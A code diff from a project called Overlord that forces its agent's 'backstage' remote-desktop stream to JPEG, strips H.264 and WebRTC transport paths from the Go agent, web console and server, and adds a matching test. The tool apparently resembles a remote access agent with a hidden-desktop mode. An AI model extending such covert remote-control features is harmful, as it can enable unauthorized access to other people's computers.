default jpeg

Overlord-Client/cmd/agent/capture/capture.go

@@ -1736,11 +1736,7 @@ func desktopCodec() string {
 }
 
 func backstageCodec() string {
-	codec := selectedCodec(&backstageOverrideCodec)
+	return "jpeg"
-	if codec == "hevc" {
-		return "jpeg"
-	}
-	return codec
 }
 
 func SetDesktopQualityAndCodec(quality int, codec string) {
@@ -1792,36 +1788,15 @@ func SetDesktopQualityAndCodec(quality int, codec string) {
 	}
 }
 
-func SetBackstageQualityAndCodec(quality int, codec string) {
+func SetBackstageQualityAndCodec(quality int, _ string) {
-	previousCodec := backstageCodec()
 	if quality > 0 {
 		if quality > 100 {
 			quality = 100
 		}
 		backstageOverrideQuality.Store(int64(quality))
 	}
-	s := strings.ToLower(strings.TrimSpace(codec))
+	backstageOverrideCodec.Store("jpeg")
-	if s == "h264" && !h264Available() {
+	resetH264Encoderbackstage()
-		detail := h264AvailabilityDetail()
-		log.Printf("capture: requested backstage codec=h264 but unavailable (%s); forcing codec=jpeg", detail)
-		s = "jpeg"
-	}
-	switch s {
-	case "raw", "rgba", "jpeg", "h264":
-		backstageOverrideCodec.Store(s)
-		backstageH264WarnOnce = sync.Once{}
-		if s != "h264" {
-			resetH264Encoderbackstage()
-		}
-		if previousCodec != s && s == "h264" {
-			backstageLastKeyframe.Store(0)
-			webrtcpub.RequestKeyframe(webrtcpub.Kindbackstage)
-		}
-	case "":
-	default:
-		backstageOverrideCodec.Store("jpeg")
-		resetH264Encoderbackstage()
-	}
 }
 
 func Nowbackstage(ctx context.Context, env *rt.Env) error {

Overlord-Client/cmd/agent/capture/h264_codec_test.go

@@ -77,6 +77,20 @@ func TestDesktopAndBackstageCodecSelectionsAreIndependent(t *testing.T) {
 	}
 }
 
+func TestBackstageCodecIsAlwaysJPEG(t *testing.T) {
+	t.Cleanup(resetCodecSelectionForTest)
+
+	for _, requested := range []string{"", "raw", "rgba", "h264", "hevc", "invalid-codec"} {
+		SetBackstageQualityAndCodec(73, requested)
+		if got := backstageCodec(); got != "jpeg" {
+			t.Fatalf("backstage codec = %q after requesting %q, want jpeg", got, requested)
+		}
+	}
+	if got := backstageJPEGQuality(); got != 73 {
+		t.Fatalf("backstage quality = %d, want 73", got)
+	}
+}
+
 func TestSwitchingToH264RequestsRecoveryPoint(t *testing.T) {
 	if !h264Available() {
 		t.Skip("h264 is unavailable in this build")

Overlord-Server/public/assets/backstage.js

@@ -125,7 +125,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
   const CANVAS_TRANSPORT_PREF_VERSION = 1;
 
   function getWebrtcMode() {
-    return webrtcMode ? String(webrtcMode.value || "off") : "off";
+    return "off";
   }
 
   function syncInputEnableState() {
@@ -151,7 +151,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
   let h264TimestampUs = 0;
   let h264AwaitingKeyframe = true;
   let h264RecoveryRequestedAt = 0;
-  let prefersH264 = typeof VideoDecoder === "function";
+  let prefersH264 = false;
   const maxH264DecodeQueue = 4;
   const inputBackpressureBytes = 256 * 1024;
   let h264ErrorCount = 0;
@@ -182,15 +182,13 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
     savedDisplay = Number.isFinite(Number(settings.display)) ? Number(settings.display) : savedDisplay;
     setSelectValue(backstageResolutionSelect, settings.resolution);
     setSelectValue(targetFpsSelect, settings.targetFps);
-    setSelectValue(webrtcMode, settings.transportPreferenceVersion === CANVAS_TRANSPORT_PREF_VERSION ? settings.webrtcMode : "off");
+    setSelectValue(webrtcMode, "off");
     if (qualitySlider && settings.quality !== undefined) qualitySlider.value = String(settings.quality);
     if (mouseCtrl && typeof settings.mouse === "boolean") mouseCtrl.checked = settings.mouse;
     if (kbdCtrl && typeof settings.keyboard === "boolean") kbdCtrl.checked = settings.keyboard;
     if (clipboardSyncCtrl && typeof settings.clipboardSync === "boolean") clipboardSyncCtrl.checked = settings.clipboardSync;
     if (uiaCtrl && typeof settings.uia === "boolean") uiaCtrl.checked = settings.uia;
-    if (typeof settings.preferH264 === "boolean") {
+    prefersH264 = false;
-      prefersH264 = settings.preferH264 && typeof VideoDecoder === "function";
-    }
     const cloneToggle = document.getElementById("backstageCloneToggle");
     const cloneLiteToggle = document.getElementById("backstageCloneLiteToggle");
     const killIfRunningToggle = document.getElementById("backstageKillIfRunningToggle");
@@ -208,8 +206,8 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
       resolution: backstageResolutionSelect?.value || "1080",
       targetFps: Number(targetFpsSelect?.value || 120),
       quality: Number(qualitySlider?.value || 90),
-      preferH264: !!prefersH264,
+      preferH264: false,
-      webrtcMode: getWebrtcMode(),
+      webrtcMode: "off",
       transportPreferenceVersion: CANVAS_TRANSPORT_PREF_VERSION,
       mouse: !!mouseCtrl?.checked,
       keyboard: !!kbdCtrl?.checked,
@@ -225,8 +223,12 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
   const sharedSettingsSaver = createSharedUiSettingsSaver("backstage", readSharedSettings);
 
   if (codecH264) {
-    codecH264.checked = prefersH264;
+    codecH264.checked = false;
-    codecH264.disabled = typeof VideoDecoder !== "function";
+    codecH264.disabled = true;
+  }
+  if (webrtcMode) {
+    webrtcMode.value = "off";
+    webrtcMode.disabled = true;
   }
 
   function setCodecModeLabel(mode, detail) {
@@ -235,7 +237,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
     codecMode.textContent = `Codec: ${String(mode || "auto").toUpperCase()}${suffix}`;
   }
 
-  setCodecModeLabel(prefersH264 ? "h264" : "jpeg", "preferred");
+  setCodecModeLabel("jpeg", "enforced");
   setStreamState("connecting", "Connecting");
 
   function updateFpsDisplay(agentValue) {
@@ -1061,7 +1063,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
 
   function pushQuality(val) {
     const q = Number(val) || 90;
-    const codec = q >= 100 ? "raw" : (prefersH264 ? "h264" : "jpeg");
+    const codec = "jpeg";
     console.debug("backstage: pushQuality val=", val, "q=", q, "codec=", codec);
     setCodecModeLabel(codec, "requested");
     sendCmd("backstage_set_quality", { quality: q, codec });
@@ -1084,12 +1086,6 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
   }
 
   function pushTransportQuality(mode) {
-    if (mode === "relayed" || mode === "p2p") {
-      const q = Number(qualitySlider?.value) || 90;
-      setCodecModeLabel("h264", "webrtc");
-      sendCmd("backstage_set_quality", { quality: q, codec: "h264", source: "webrtc" });
-      return;
-    }
     if (qualitySlider) {
       pushQuality(qualitySlider.value);
     }
@@ -1097,10 +1093,9 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
 
   if (codecH264) {
     codecH264.addEventListener("change", function () {
-      prefersH264 = !!codecH264.checked && typeof VideoDecoder === "function";
+      prefersH264 = false;
-      if (!prefersH264) {
+      codecH264.checked = false;
-        destroyVideoDecoder();
+      destroyVideoDecoder();
-      }
       if (qualitySlider) {
         pushQuality(qualitySlider.value);
       }

Overlord-Server/public/backstage.html

@@ -152,10 +152,8 @@
                 </div>
                 <div class="flex items-center gap-2 mb-2">
                   <label class="text-sm text-slate-300 w-20" for="webrtcMode">Transport</label>
-                  <select id="webrtcMode" class="flex-1 bg-slate-800 border border-slate-700 rounded px-2 py-1 text-sm text-slate-100" title="Streaming transport. P2P: browser to agent direct, server only relays signaling. Relayed: through MediaMTX.">
+                  <select id="webrtcMode" class="flex-1 bg-slate-800 border border-slate-700 rounded px-2 py-1 text-sm text-slate-100" title="Backstage uses JPEG over canvas." disabled>
-                    <option value="off" selected>Canvas</option>
+                    <option value="off" selected>JPEG Canvas</option>
-                    <option value="p2p">WebRTC P2P</option>
-                    <option value="relayed">WebRTC Relayed</option>
                   </select>
                 </div>
                 <div class="flex items-center gap-2 mb-2">
@@ -171,10 +169,10 @@
                   </select>
                 </div>
                 <div class="flex items-center justify-between gap-2">
-                  <label class="flex items-center gap-2 text-sm text-slate-200" title="Prefer H.264 when available; disable to force JPEG">
+                  <label class="flex items-center gap-2 text-sm text-slate-200" title="Backstage is restricted to JPEG">
-                    <input type="checkbox" id="codecH264" checked /> H.264
+                    <input type="checkbox" id="codecH264" disabled /> H.264 disabled
                   </label>
-                  <span id="codecMode" class="pill pill-ghost text-slate-100 text-xs">Codec: auto</span>
+                  <span id="codecMode" class="pill pill-ghost text-slate-100 text-xs">Codec: JPEG</span>
                 </div>
               </div>
 

Overlord-Server/src/server/ws-console-rd-backstage.ts

@@ -911,7 +911,7 @@ type backstageStreamingState = {
 };
 
 function defaultbackstageStreamingState(): backstageStreamingState {
-  return { isStreaming: false, virtualMode: false, display: 0, quality: 90, codec: "", maxFps: 120, lastFps: 0 };
+  return { isStreaming: false, virtualMode: false, display: 0, quality: 90, codec: "jpeg", maxFps: 120, lastFps: 0 };
 }
 
 export const backstageStreamingState = new Map<string, backstageStreamingState>();
@@ -1279,26 +1279,9 @@ export function handlebackstageViewerMessage(ws: ServerWebSocket<SocketData>, ra
           sendbackstageCommand(target, "backstage_stop", {});
           state.isStreaming = false;
           logger.debug(`[backstage] restarting stream to change virtual_mode=${state.virtualMode} -> ${virtualMode}`);
-        }
+      }
       if (!state.isStreaming) {
-        if ((payload as any).webrtc === true) {
+        sendbackstageCommand(target, "backstage_set_quality", { quality: state.quality, codec: "jpeg" });
-          const streamPath = webrtcStreamPathFor(clientId, "backstage");
-          const token = issueWebrtcPublishToken(clientId);
-          sendbackstageCommand(target, "webrtc_publish", {
-            streamPath,
-            whipPath: `/api/webrtc/${streamPath}/whip`,
-            token,
-            kind: "backstage",
-            hasVideo: true,
-            hasAudio: false,
-            iceServers: issueTurnIceServers(`${clientId}:backstage:whip`),
-          });
-          safeSendViewer(ws, {
-            type: "webrtc_ready",
-            streamPath,
-            whepPath: `/api/webrtc/${streamPath}/whep`,
-          });
-        }
         sendbackstageCommand(target, "backstage_set_fps", { fps: clampDesktopFps(state.maxFps) });
         sendbackstageCommand(target, "backstage_start", {
           autoStartExplorer: false,
@@ -1341,9 +1324,9 @@ export function handlebackstageViewerMessage(ws: ServerWebSocket<SocketData>, ra
     }
     case "backstage_set_quality": {
       const newQuality = Number(payload.quality) || 90;
-      const newCodec = String(payload.codec || "").toLowerCase();
+      const newCodec = "jpeg";
-		sendbackstageCommand(target, "backstage_set_quality", { quality: newQuality, codec: newCodec });
+      sendbackstageCommand(target, "backstage_set_quality", { quality: newQuality, codec: newCodec });
-		if (state.quality !== newQuality || state.codec !== newCodec) {
+      if (state.quality !== newQuality || state.codec !== newCodec) {
         state.quality = newQuality;
         state.codec = newCodec;
         backstageStreamingState.set(clientId, state);
@@ -1512,24 +1495,10 @@ export function handlebackstageViewerMessage(ws: ServerWebSocket<SocketData>, ra
       break;
     }
     case "webrtc_p2p_offer": {
-      const sdp = typeof (payload as any).sdp === "string" ? (payload as any).sdp : "";
+      safeSendViewer(ws, { type: "error", reason: "Backstage supports JPEG canvas transport only" });
-      if (!sdp) break;
-      const sessionId = createP2PSession(ws, clientId, "backstage");
-      sendbackstageCommand(target, "webrtc_p2p_offer", { sessionId, sdp, kind: "backstage", hasVideo: true, hasAudio: false, iceServers: issueTurnIceServers(`${clientId}:backstage:${sessionId}`) });
       break;
     }
     case "webrtc_p2p_ice": {
-      const sessionId = getP2PSessionIdForViewer(ws);
-      if (!sessionId) break;
-      const candidate = typeof (payload as any).candidate === "string" ? (payload as any).candidate : "";
-      if (!candidate) break;
-      sendbackstageCommand(target, "webrtc_p2p_ice", {
-        sessionId,
-        kind: "backstage",
-        candidate,
-        sdpMid: typeof (payload as any).sdpMid === "string" ? (payload as any).sdpMid : "",
-        sdpMLineIndex: Number((payload as any).sdpMLineIndex) || 0,
-      });
       break;
     }
     case "webrtc_p2p_stop": {